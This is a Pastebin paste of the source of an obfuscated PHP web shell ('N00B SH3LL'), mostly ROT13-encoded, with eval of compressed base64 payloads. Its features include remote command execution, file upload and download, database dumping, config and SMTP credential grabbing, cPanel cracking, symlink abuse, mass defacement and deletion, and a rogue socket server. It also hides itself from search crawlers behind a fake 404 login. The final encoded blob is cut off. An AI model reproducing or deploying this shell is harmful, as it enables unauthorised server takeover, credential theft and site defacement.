Advertisement
VanGans

Nob

Jun 1st, 2019
306
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 106.17 KB | None | 0 0
  1. <?php
  2. /*
  3. #################################################
  4. # N00B SH3LL V.1.0 #
  5. # Ganti Copyright W Sumvahin Mandul #
  6. # #
  7. # Thanks To : All My Friendz
  8. # Contact Me : hekerpro110@outlook.com #
  9. #################################################
  10. */
  11. $auth_pass = "dcb76da384ae3028d6aa9b2ebcea01c9"; //sayang
  12. $color = "#00ff00";
  13. $sec = 1;
  14. $default_action = 'FilesMan';
  15. @define('SELF_PATH', __FILE__);
  16. if (strpos($_SERVER['HTTP_USER_AGENT'], 'Google') !== false) {
  17. header('HTTP/1.0 404 Not Found');
  18. exit;
  19. }
  20.  
  21. $code ="@frffvba_fgneg();
@reebe_ercbegvat(0);
@vav_frg('reebe_ybt', AHYY);
@vav_frg('ybt_reebef', 0);
@vav_frg('znk_rkrphgvba_gvzr', 0);
@frg_gvzr_yvzvg(0);
@qrsvar('IREFVBA', '2.1');
@pyrnefgngpnpur();
@vav_frg('bhgchg_ohssrevat',0);
@vav_frg('qvfcynl_reebef', 0);
vs (trg_zntvp_dhbgrf_tcp()) {
    shapgvba fgevcfynfurf_neenl($neenl) {
        erghea vf_neenl($neenl) ? neenl_znc('fgevcfynfurf_neenl', $neenl) : fgevcfynfurf($neenl);
    }
    $_CBFG = fgevcfynfurf_neenl($_CBFG);
}
shapgvba cevagYbtva() {
?>
<gvgyr>404 Abg Sbhaq</gvgyr>
</urnq><obql>
<u1>Abg Sbhaq</u1>
<c>Gur erdhrfgrq HEY <?=$_FREIRE["FPEVCG_SVYRANZR"] ?> jnf abg sbhaq ba guvf freire.</c>
<ue>
<nqqerff>Ncnpur Freire ng <?=$_FREIRE['UGGC_UBFG'] ?> Cbeg 80</nqqerff>
	<fglyr>
		vachg { znetva:0;onpxtebhaq-pbybe:#sss;obeqre:1ck fbyvq #sss; }
	</fglyr>
	<pragre>
	<sbez zrgubq=cbfg>
	<vachg glcr=cnffjbeq anzr=cnff>
	</sbez></pragre>
	<?cuc
    rkvg;
}
vs ($frp == 1 && !vffrg($_FRFFVBA[zq5($_FREIRE['UGGC_UBFG']) ])) vs (rzcgl($nhgu_cnff) || (vffrg($_CBFG['cnff']) && (zq5($_CBFG['cnff']) == $nhgu_cnff))) $_FRFFVBA[zq5($_FREIRE['UGGC_UBFG']) ] = gehr;
ryfr cevagYbtva();
vs (!rzcgl($_FREIRE['UGGC_HFRE_NTRAG'])) {
    $hfreNtragf = neenl("Tbbtyr", "Fyhec", "ZFAObg", "vn_nepuvire", "Lnaqrk", "Enzoyre");
    vs (cert_zngpu('/' . vzcybqr('|', $hfreNtragf) . '/v', $_FREIRE['UGGC_HFRE_NTRAG'])) {
        urnqre('UGGC/1.0 404 Abg Sbhaq');
        rkvg;
    }
}

vs(vffrg($_TRG['svyr']) && ($_TRG['svyr'] != '') && ($_TRG['o4p'] == 'qbjaybnq')) {
    @bo_pyrna();
    $svyr = $_TRG['svyr'];
    urnqre('Pbagrag-Qrfpevcgvba: Svyr Genafsre');
    urnqre('Pbagrag-Glcr: nccyvpngvba/bpgrg-fgernz');
    urnqre('Pbagrag-Qvfcbfvgvba: nggnpuzrag; svyranzr="'.onfranzr($svyr).'"');
    urnqre('Rkcverf: 0');
    urnqre('Pnpur-Pbageby: zhfg-erinyvqngr');
    urnqre('Centzn: choyvp');
    urnqre('Pbagrag-Yratgu: ' . svyrfvmr($svyr));
    ernqsvyr($svyr);
    rkvg;
}

?>
<ugzy>
<urnq>
<gvgyr>A00O Fu3yy</gvgyr>
<zrgn anzr='nhgube' pbagrag='KM-Frp'>
<zrgn punefrg="HGS-8">
<fglyr glcr='grkg/pff'>
@vzcbeg hey(uggcf://sbagf.tbbtyrncvf.pbz/pff?snzvyl=Hohagh);
ugzy {
    onpxtebhaq: #000000;
    pbybe: #ssssss;
    sbag-snzvyl: 'Hohagh';
    sbag-fvmr: 13ck;
	jvqgu: 100%;
}
yv {
	qvfcynl: vayvar;
	znetva: 5ck;
	cnqqvat: 5ck;
}
gnoyr, gu, gq {
	obeqre-pbyyncfr:pbyyncfr;
	sbag-snzvyl: Gnubzn, Trarin, fnaf-frevs;
	onpxtebhaq: genafcnerag;
	sbag-snzvyl: 'Hohagh';
	sbag-fvmr: 13ck;
}
.gnoyr_ubzr, .gu_ubzr, .gq_ubzr {
	obeqre: 1ck fbyvq #ssssss;
}
gu {
	cnqqvat: 10ck;
}
n {
	pbybe: #ssssss;
	grkg-qrpbengvba: abar;
}
n:ubire {
	pbybe: tbyq;
	grkg-qrpbengvba: haqreyvar;
}
o {
	pbybe: tbyq;
}
vachg[glcr=grkg], vachg[glcr=cnffjbeq],vachg[glcr=fhozvg] {
	onpxtebhaq: genafcnerag; 
	pbybe: #ssssss; 
	obeqre: 1ck fbyvq #ssssss; 
	znetva: 5ck nhgb;
	cnqqvat-yrsg: 5ck;
	sbag-snzvyl: 'Hohagh';
	sbag-fvmr: 13ck;
}
grkgnern {
	obeqre: 1ck fbyvq #ssssss;
	jvqgu: 100%;
	urvtug: 400ck;
	cnqqvat-yrsg: 5ck;
	znetva: 10ck nhgb;
	erfvmr: abar;
	onpxtebhaq: genafcnerag;
	pbybe: #ssssss;
	sbag-snzvyl: 'Hohagh';
	sbag-fvmr: 13ck;
}
.wnapbx {
obeqre: 1ck fbyvq juvgr;
pbybe: ndhn;
onpxtebhaq: genafcnerag;
urvtug: 150ck;
jvqgu: 350ck;
}
vachg { onpxtebhaq: genafcnerag; pbybe: juvgr; obeqre: 1ck fbyvq juvgr; }
</fglyr>
</urnq>
<?cuc
shapgvba j($qve,$crez) {
	vs(!vf_jevgnoyr($qve)) {
		erghea "<sbag pbybe=erq>".$crez."</sbag>";
	} ryfr {
		erghea "<sbag pbybe=yvzr>".$crez."</sbag>";
	}
}
shapgvba rkr($pzq) { 	
vs(shapgvba_rkvfgf('flfgrz')) { 		
		@bo_fgneg(); 		
		@flfgrz($pzq); 		
		$ohss = @bo_trg_pbagragf(); 		
		@bo_raq_pyrna(); 		
		erghea $ohss; 	
	} ryfrvs(shapgvba_rkvfgf('rkrp')) { 		
		@rkrp($pzq,$erfhygf); 		
		$ohss = ""; 		
		sbernpu($erfhygf nf $erfhyg) { 			
			$ohss .= $erfhyg; 		
		} erghea $ohss; 	
	} ryfrvs(shapgvba_rkvfgf('cnffgueh')) { 		
		@bo_fgneg(); 		
		@cnffgueh($pzq); 		
		$ohss = @bo_trg_pbagragf(); 		
		@bo_raq_pyrna(); 		
		erghea $ohss; 	
	} ryfrvs(shapgvba_rkvfgf('furyy_rkrp')) { 		
		$ohss = @furyy_rkrp($pzq); 		
		erghea $ohss; 	
	} 
}
shapgvba crezf($svyr){
$crezf = svyrcrezf($svyr);
vs (($crezf & 0kP000) == 0kP000) {
// Fbpxrg
$vasb = 'f';
} ryfrvs (($crezf & 0kN000) == 0kN000) {
// Flzobyvp Yvax
$vasb = 'y';
} ryfrvs (($crezf & 0k8000) == 0k8000) {
// Erthyne
$vasb = '-';
} ryfrvs (($crezf & 0k6000) == 0k6000) {
// Oybpx fcrpvny
$vasb = 'o';
} ryfrvs (($crezf & 0k4000) == 0k4000) {
// Qverpgbel
$vasb = 'q';
} ryfrvs (($crezf & 0k2000) == 0k2000) {
// Punenpgre fcrpvny
$vasb = 'p';
} ryfrvs (($crezf & 0k1000) == 0k1000) {
// SVSB cvcr
$vasb = 'c';
} ryfr {
// Haxabja
$vasb = 'h';
}
	// Bjare
$vasb .= (($crezf & 0k0100) ? 'e' : '-');
$vasb .= (($crezf & 0k0080) ? 'j' : '-');
$vasb .= (($crezf & 0k0040) ?
(($crezf & 0k0800) ? 'f' : 'k' ) :
(($crezf & 0k0800) ? 'F' : '-'));
// Tebhc
$vasb .= (($crezf & 0k0020) ? 'e' : '-');
$vasb .= (($crezf & 0k0010) ? 'j' : '-');
$vasb .= (($crezf & 0k0008) ?
(($crezf & 0k0400) ? 'f' : 'k' ) :
(($crezf & 0k0400) ? 'F' : '-'));
// Jbeyq
$vasb .= (($crezf & 0k0004) ? 'e' : '-');
$vasb .= (($crezf & 0k0002) ? 'j' : '-');
$vasb .= (($crezf & 0k0001) ?
(($crezf & 0k0200) ? 'g' : 'k' ) :
(($crezf & 0k0200) ? 'G' : '-'));
erghea $vasb;
}
shapgvba uqq($f) {
vs($f >= 1073741824)
erghea fcevags('%1.2s',$f / 1073741824 ).' TO';
ryfrvs($f >= 1048576)
erghea fcevags('%1.2s',$f / 1048576 ) .' ZO';
ryfrvs($f >= 1024)
erghea fcevags('%1.2s',$f / 1024 ) .' XO';
ryfr
erghea $f .' O';
}
shapgvba nzovyXngn($cnenz, $xngn1, $xngn2){
    vs(fgecbf($cnenz, $xngn1) === SNYFR) erghea SNYFR;
    vs(fgecbf($cnenz, $xngn2) === SNYFR) erghea SNYFR;
    $fgneg = fgecbf($cnenz, $xngn1) + fgeyra($xngn1);
    $raq = fgecbf($cnenz, $xngn2, $fgneg);
    $erghea = fhofge($cnenz, $fgneg, $raq - $fgneg);
    erghea $erghea;
}
vs(trg_zntvp_dhbgrf_tcp()) {
	shapgvba vqk_ff($neenl) {
		erghea vf_neenl($neenl) ? neenl_znc('vqk_ff', $neenl) : fgevcfynfurf($neenl);
	}
	$_CBFG = vqk_ff($_CBFG);
}

reebe_ercbegvat(0);
reebe_ybt(0);
@vav_frg('reebe_ybt',AHYY);
@vav_frg('ybt_reebef',0);
@vav_frg('znk_rkrphgvba_gvzr',0);
@frg_gvzr_yvzvg(0);
vs(vffrg($_TRG['qve'])) {
	$qve = $_TRG['qve'];
	puqve($_TRG['qve']);
} ryfr {
	$qve = trgpjq();
}
$qve = fge_ercynpr("\\","/",$qve);
$fpqve = rkcybqr("/", $qve);
$fz = (@vav_trg(fgegbybjre("fnsr_zbqr")) == 'ba') ? "<sbag pbybe=erq>BA</sbag>" : "<sbag pbybe=yvzr>BSS</sbag>";
$qf = @vav_trg("qvfnoyr_shapgvbaf");
$fbpx = (shapgvba_rkvfgf('fbpxrg_perngr')) ? "<sbag pbybe=yvzr>BA</sbag>" : "<sbag pbybe=erq>BSS</sbag>";
$zye = (shapgvba_rkvfgf('znvy')) ? "<sbag pbybe=yvzr>BA</sbag>" : "<sbag pbybe=erq>BSS</sbag>";
$zlfdy = (shapgvba_rkvfgf('zlfdy_pbaarpg')) ? "<sbag pbybe=yvzr>BA</sbag>" : "<sbag pbybe=erq>BSS</sbag>";
$phey = (shapgvba_rkvfgf('phey_irefvba')) ? "<sbag pbybe=yvzr>BA</sbag>" : "<sbag pbybe=erq>BSS</sbag>";
$jtrg = (rkr('jtrg --uryc')) ? "<sbag pbybe=yvzr>BA</sbag>" : "<sbag pbybe=erq>BSS</sbag>";
$crey = (rkr('crey --uryc')) ? "<sbag pbybe=yvzr>BA</sbag>" : "<sbag pbybe=erq>BSS</sbag>";
$clguba = (rkr('clguba --uryc')) ? "<sbag pbybe=yvzr>BA</sbag>" : "<sbag pbybe=erq>BSS</sbag>";
$fubj_qf = (!rzcgl($qf)) ? "<sbag pbybe=erq>$qf</sbag>" : "<sbag pbybe=yvzr>ABAR</sbag>";
vs(!shapgvba_rkvfgf('cbfvk_trgrtvq')) {
	$hfre = @trg_pheerag_hfre();
	$hvq = @trgzlhvq();
	$tvq = @trgzltvq();
	$tebhc = "?";
} ryfr {
	$hvq = @cbfvk_trgcjhvq(cbfvk_trgrhvq());
	$tvq = @cbfvk_trgtetvq(cbfvk_trgrtvq());
	$hfre = $hvq['anzr'];
	$hvq = $hvq['hvq'];
	$tebhc = $tvq['anzr'];
	$tvq = $tvq['tvq'];
}
rpub '<gnoyr jvqgu="100%"><gq nyvta="yrsg">';
rpub "Flfgrz: <sbag pbybe=yvzr>".cuc_hanzr()."</sbag><oe>";
rpub "Hfre: <sbag pbybe=yvzr>".$hfre."</sbag> (".$hvq.") Tebhc: <sbag pbybe=yvzr>".$tebhc."</sbag> (".$tvq.")<oe>";
rpub "Freire VC: <sbag pbybe=yvzr>".trgubfgolanzr($_FREIRE['UGGC_UBFG'])."</sbag> | Lbhe VC: <sbag pbybe=yvzr>".$_FREIRE['ERZBGR_NQQE']."</sbag><oe>";
rpub "UQQ: <sbag pbybe=yvzr>".uqq(qvfx_serr_fcnpr("/"))."</sbag> / <sbag pbybe=yvzr>".uqq(qvfx_gbgny_fcnpr("/"))."</sbag><oe>";
rpub "Fnsr Zbqr: $fz<oe>";
rpub "Qvfnoyr Shapgvbaf: $fubj_qf<oe>";
rpub "Fbpxrg Shagvba: $fbpx<oe>";
rpub "Znvyre Shagvba: $fbpx<oe>";
rpub "ZlFDY: $zlfdy | Crey: $crey | Clguba: $clguba | JTRG: $jtrg | PHEY: $phey <oe>";
rpub "Pheerag QVE: ";
sbernpu($fpqve nf $p_qve => $pqve) {	
	rpub "<n uers='?qve=";
	sbe($v = 0; $v <= $p_qve; $v++) {
		rpub $fpqve[$v];
		vs($v != $p_qve) {
		rpub "/";
		}
	}
	rpub "'>$pqve</n>/";
}
rpub "</gq></gnoyr><ue>";
	vs($_CBFG['hcybnq']) {
		vs(@pbcl($_SVYRF['vk_svyr']['gzc_anzr'], "$qve/".$_SVYRF['vk_svyr']['anzr']."")) {
			$npg = "<sbag pbybe=yvzr>Hcybnqrq!</sbag> ng <v><o>$qve/".$_SVYRF['vk_svyr']['anzr']."</o></v>";
		} ryfr {
			$npg = "<sbag pbybe=erq>snvyrq gb hcybnq svyr</sbag>";
		}
	}
	rpub "Hcybnq Svyr: [ ".j($qve,"Jevgrnoyr")." ]<oe><oe><sbez zrgubq='cbfg' rapglcr='zhygvcneg/sbez-qngn'><vachg glcr='svyr' anzr='vk_svyr'><vachg glcr='fhozvg' inyhr='hcybnq' anzr='hcybnq'></sbez>";
	rpub $npg;
	rpub "<ue>";
	$vc = $_FREIRE['ERZBGR_NQQE'];
rpub "</pragre><gnoyr jvqgu='100%'>Gryarg Rkrphgvba Pbzznaq<ue><gq nyvta='yrsg'>
<sbez rapglcr='zhygvcneg/sbez-qngn' zrgubq='cbfg'>
$hfre@$vc:~# <vachg glcr='grkg' anzr='pbx'>
<vachg glcr='fhozvg' inyhr='~'>
</sbez>";
puqve($qve);
vs(vffrg($_CBFG['pbx'])) {
$pbx = rkr($_CBFG['pbx']);
}
rpub '<grkgnern fglyr="jvqgu: 100%; urvtug: 150ck;" ebjf="10">' . ugzyragvgvrf($pbx) . '</grkgnern></gq>';
rpub '<gq nyvta="evtug">';
rpub "<hy>";
rpub "<yv>[ <n uers='?'>Ubzr</n> ]</yv>";
rpub "<yv>[ <n uers='?qve=$qve&qb=znff_qrsnpr'>Znff Qrsnpr</n> ]</yv>";
rpub "<yv>[ <n uers='?qve=$qve&qb=znff_qryrgr'>Znff Qryrgr</n> ]</yv>";
rpub "<yv>[ <n uers='?qve=$qve&qb=fbpxrg'>Fbpxrg Freire</n> ]</yv>";
rpub "<yv>[ <n uers='?qve=$qve&qb=pbasvt'>Pbasvt</n> ]</yv>";
rpub "<yv>[ <n uers='?qve=$qve&qoqhzc'>QO Qhzcre</n> ]</yv><oe><oe>";
rpub "<yv>[ <n uers='?qve=$qve&qb=whzcvat'>Whzcvat</n> ]</yv>";
rpub "<yv>[ <n uers='?qve=$qve&qb=pcnary'>PCnary Penpx</n> ]</yv>";
rpub "<yv>[ <n uers='?qve=$qve&qb=fzgc'>FZGC Tenoore</n> ]</yv>";
rpub "<yv>[ <n uers='?qve=$qve&qb=znvyre'>Znvyre</n> ]</yv>";
rpub "<yv>[ <n uers='?qve=$qve&qb=mbaru'>Mbar-U</n> ]</yv><oe><oe>";
rpub "<yv>[ <n uers='?qve=$qve&qb=ptv'>PTV Gryarg</n> ]</yv>";
rpub "<yv>[ <n uers='?qve=$qve&qb=erivc'>Erirefr VC</n> ]</yv>";
rpub "<yv>[ <n uers='?qve=$qve&qb=argjbex'>argjbex</n> ]</yv>";
rpub "<yv>[ <n uers='?qve=$qve&qb=nqzvare'>Nqzvare</n> ]</yv>";
rpub "<yv>[ <n uers='?qve=$qve&qb=flz'>Flzyvax</n> ]</yv>";
rpub "<yv>[ <n uers='?qve=$qve&qb=snxr_ebbg'>Snxr Ebbg</n> ]</yv><oe><oe>";
rpub "<yv>[ <n uers='?qve=$qve&qb=raqr'>Rapbqr & Qrpbqr</n> ]</yv>";
rpub "<yv>[ <n uers='?qve=$qve&qb=nhgb_rqvg_hfre'>Nhgb Rqvg Hfre</n> ]</yv>";
rpub "<yv>[ <n uers='?qve=$qve&qb=nhgb_jc'>Nhgb Rqvg Gvgyr JbeqCerff</n> ]</yv><oe><oe>";
rpub "<yv>[ <n uers='?qve=$qve&qb=nhgb_qjc'>JbeqCerff Nhgb Qrsnpr</n> ]</yv>";
rpub "<yv>[ <n uers='?qve=$qve&qb=nhgb_qjc2'>JbeqCerff Nhgb Qrsnpr I.2</n> ]</yv>";
rpub "<yv>[ <n uers='?qve=$qve&qb=pcsgc_nhgb'>PCnary/SGC Nhgb Qrsnpr</n> ]</yv>";
rpub "</hy></gq></gnoyr><ue>";
vs($_TRG['qb'] == 'fbpxrg') {
rpub '<ue>';
rpub '<oe><oe><sbez rapglcr="zhygvcneg/sbez-qngn" zrgubq="cbfg">Cbeg : <vachg glcr="grkg" anzr="cbeg" cynprubyqre="1987"><oe><oe>UGZY : <oe><oe><grkgnern fglyr="jvqgu: 45%" ebjf="5" anzr="ugzy">Unpxrq Ol KM-Frp</grkgnern><oe><oe><vachg glcr="fhozvg" anzr="fbpxrg" inyhr="Fbpxrg !!!"></sbez>'; vs(vffrg($_CBFG['fbpxrg'])) { frg_gvzr_yvzvg(0); $nqqerff = '0.0.0.0'; $cbeg = $_CBFG['cbeg'];$ugzyzh = $_CBFG['ugzy']."\a";$fbpx = fbpxrg_perngr(NS_VARG, FBPX_FGERNZ, 0); fbpxrg_ovaq($fbpx, $nqqerff, $cbeg) be qvr('Gvqnx Ovfn Pbaarpg Xr VC'); rpub "\a Zrzhynv Xbarxfv Cnqn Cbeg $cbeg \a\a"; juvyr(1) { fbpxrg_yvfgra($fbpx); $pyvrag = fbpxrg_npprcg($fbpx); $vachg = fbpxrg_ernq($pyvrag, 1024); $vapbzvat = neenl(); $vapbzvat = rkcybqr("\e\a", $vachg); $srgpuNeenl = neenl(); $srgpuNeenl = rkcybqr(" ", $vapbzvat[0]); $svyr = $srgpuNeenl[1];rpub $srgpuNeenl[0] . " Erdhrfg " . $svyr . "\a"; $bhgchg = ""; $Urnqre = "UGGC/1.1 200 BX \e\a" . "Freire: NanepubKcybvg\a" . "Encrq Ol KM-Frp\a" . "Pbagrag-Glcr: grkg/ugzy \e\a\e\a" . $ugzyzh;$bhgchg = $Urnqre; fbpxrg_jevgr($pyvrag,$bhgchg,fgeyra($bhgchg)); fbpxrg_pybfr($pyvrag); } } rpub '&pbcl;Pbclevtug KM-Frp</gq></gnoyr></pragre>';
} ryfrvs($_TRG['qb'] == 'raqr') { 
rpub '<ue>';
riny(tmvasyngr(onfr64_qrpbqr('gIMqo5fjSU2CyC9jMHJSFT1ch3JnxfPznK3rcB5gzcNOW7SXoTnogzaI/m4oNlUyV8aQvWXNsr659eaaVcA4mpRMwkMFoIZFwRrKZK+N1/RVlviP8pAX8WjySmSChMtctMaZfPOZmEfjYuVvMaPqCLCxXH0N/81kN2PQl8R3aqPeZv4vazjuJuHVU0JcmbwZrXkGRTUhycjcxCFS+BtJDDx0KPv4wjKASAlkzPpRmhN7ZGpYm4DRwf71yGVnFdWpu+pdl1HL5pfyRMFgaCBe6ElnvVGXYZKoxNwOuKGBDDCTb4xvmjc8zVD/s9m/+h2LOZ4sCGRrxHd+WEpo2OP15bzCZv4IPunEXY561uObkGQRXMoFE1ewLuiF/3jStw9W/kLL3uNmxkNq6yHEGEMWHuXeCD4okQAFPZLmEGzQE5mzrwDKXJTJG98hCQiokxILxx8sHsPg+B/U5DVSZJrCEXtjm/gkdksXyvyJEXXtibpYvN7jFlIhHXO/D8UI9LpwVze2/oNGx/LUa7VJYGRXYTvNMnssjKI6ggmOTLgxAy9Dce3oeQ0Pgp3ZQiWbD1IyurdcKAIqnDQA1lVLvWp1tJ2atfNmUv9nlajzSgybPmgDANMqtxhynnxFAc3dI8dRMmg4LIdQyH9HkJgj9rjHKzBgNmuJQJpTR52q+iLkgT52v3L0sEac/avL2jtgftZI3g0CdNitey4FHvwrTYA05acUJMqaE7mCB8GJklHCx5HH7D3r9ZJ20e+Yeq8RBjXOa+eEoxKmudN72j5UcVq316Yddx5KjsqYcWR4G9KZCe29QIyF/xqCWhEVGmn3JKdufsI9gcZ82HKpgovwCUzNLgPGsof50MAQvaM7pwvv7pxF31JUSzzsVR1GQeiFUuTBBtYb6LFmqOf4y2h10sbbdvvEoeU66nKGCOM45rzbru9/Ps4O')));

} ryfrvs($_TRG['qb'] == 'erivc') {
rpub '<ue>';
	shapgvba f57_phey($qbzra){
	$p = phey_vavg();
	$phey = neenl(
		PHEYBCG_HEY=>"uggc://ivrjqaf.vasb/erirefrvc/?ubfg=".$qbzra."&g=1",
		PHEYBCG_HFRENTRAG=>"Hfre-Ntrag=Zbmvyyn/5.0 (Jvaqbjf AG 6.1; JBJ64; ei:53.0) Trpxb/20100101 Sversbk/53.0",
		PHEYBCG_ERGHEAGENAFSRE=>1,
		PHEYBCG_FFY_IREVSLCRRE=>0,
		PHEYBCG_URNQRE=>0,
		PHEYBCG_SBYYBJYBPNGVBA=>1);
	phey_frgbcg_neenl($p,$phey);
	$r = phey_rkrp($p);
	phey_pybfr($p);
	erghea $r;
}
shapgvba f57_c($crzvfnu,$fgevat){
    erghea rkcybqr(pue(1),fge_ercynpr($crzvfnu,pue(1),$fgevat));
}

rpub "<sbez zrgubq='cbfg'>
	<pragre><vachg pynff='grkg' glcr='grkg' anzr='qbznva' cynprubyqre='VC/Qbznva' fglyr='jvqgu: 250ck; urvtug: 33ck;'><vachg pynff='fhozvg' glcr='fhozvg' anzr='fozg' fglyr='pbybe: yvzr; jvqgu: 30ck; urvtug: 33ck;' inyhr='>>'>
	<oe><fcna fglyr='sbag-fvmr: 17ck;'> Znfhxva fvgr gnacn uggc ngnh uggcf </fcna></sbez>";

	vs(vffrg($_CBFG['fozg'])){
rpub "Erfhyg sbe : " .$_CBFG['qbznva'];
$e = f57_c(neenl('<gnoyr obeqre="1">','<gnoyr jvqgu="1000" obeqre="0">'),f57_phey($_CBFG['qbznva']));
rpub "<gnoyr obeqre=1>";
rpub $e[1];
rpub "</gnoyr></pragre>";
}

} ryfrvs(vffrg($_TRG['qoqhzc'])) {
puqve($qve);
  rpub '<cer><pragre>';
  rpub '
<sbez npgvba=?qoqhzc zrgubq=cbfg>
Qngnonfr Qhzc
Freire        : <vachg pynff="vachgm" glcr=grkg anzr=freire fvmr=52>
Hfreanzr      : <vachg pynff="vachgm" glcr=grkg anzr=hfreanzr fvmr=52>
Cnffjbeq      : <vachg pynff="vachgm" glcr=grkg anzr=cnffjbeq fvmr=52>
QngnOnfr Anzr : <vachg pynff="vachgm" glcr=grkg anzr=qoanzr fvmr=52>
QO Glcr       : <sbez zrgubq=cbfg npgvba="?qoqhzc"><fryrpg pynff="vachgm" anzr=zrgubq><bcgvba  inyhr="tmvc">Tmvc</bcgvba><bcgvba inyhr="fdy">Fdy</bcgvba></fryrpg>
<vachg pynff="vachgmohg" glcr=fhozvg inyhr="  Qhzc!  " >
</sbez></pragre></cer><fpevcg>';
  vs ($_CBFG['hfreanzr'] && $_CBFG['qoanzr'] && $_CBFG['zrgubq']){
  $qngr = qngr("L-z-q");
  $qofreire = $_CBFG['freire'];
  $qohfre = $_CBFG['hfreanzr'];
  $qocnff = $_CBFG['cnffjbeq'];
  $qoanzr = $_CBFG['qoanzr'];
  $svyr = "Qhzc-$qoanzr-$qngr";
  $zrgubq = $_CBFG['zrgubq'];
  vs ($zrgubq=='fdy'){
  $svyr="Qhzc-$qoanzr-$qngr.fdy";
  $sc=sbcra($svyr,"j");
  }ryfr{
  $svyr="Qhzc-$qoanzr-$qngr.fdy.tm";
  $sc = tmbcra($svyr,"j");
  }
  shapgvba jevgr($qngn) {
  tybony $sc;
  vs ($_CBFG['zrgubq']=='ffdy'){
  sjevgr($sc,$qngn);
  }ryfr{
  tmjevgr($sc, $qngn);
  }}
  zlfdy_pbaarpg ($qofreire, $qohfre, $qocnff);
  zlfdy_fryrpg_qo($qoanzr);
  $gnoyrf = zlfdy_dhrel ("FUBJ GNOYRF");
  juvyr ($v = zlfdy_srgpu_neenl($gnoyrf)) {
      $v = $v['Gnoyrf_va_'.$qoanzr];
      $perngr = zlfdy_srgpu_neenl(zlfdy_dhrel ("FUBJ PERNGR GNOYR ".$v));
      jevgr($perngr['Perngr Gnoyr'].";aa");
      $fdy = zlfdy_dhrel ("FRYRPG * SEBZ ".$v);
      vs (zlfdy_ahz_ebjf($fdy)) {
          juvyr ($ebj = zlfdy_srgpu_ebj($fdy)) {
              sbernpu ($ebj nf $w => $x) {
                  $ebj[$w] = "'".zlfdy_rfpncr_fgevat($x)."'";
              }
              jevgr("VAFREG VAGB $v INYHRF(".vzcybqr(",", $ebj).");a");
          }
      }
  }
  vs ($zrgubq=='ffdy'){
  spybfr ($sc);
  }ryfr{
  tmpybfr($sc);}
  urnqre("Pbagrag-Qvfcbfvgvba: nggnpuzrag; svyranzr=" . $svyr);
  urnqre("Pbagrag-Glcr: nccyvpngvba/qbjaybnq");
  urnqre("Pbagrag-Yratgu: " . svyrfvmr($svyr));
  syhfu();

  $sc = sbcra($svyr, "e");
  juvyr (!srbs($sc))
  {
      rpub sernq($sc, 65536);
      syhfu();
  }
  spybfr($sc);
  }

} ryfrvs($_TRG['qb'] == 'flz') {
puqve($cngu);
$af = 'flz.cuc';
$sc = sbcra($af, 'j');
$ype = '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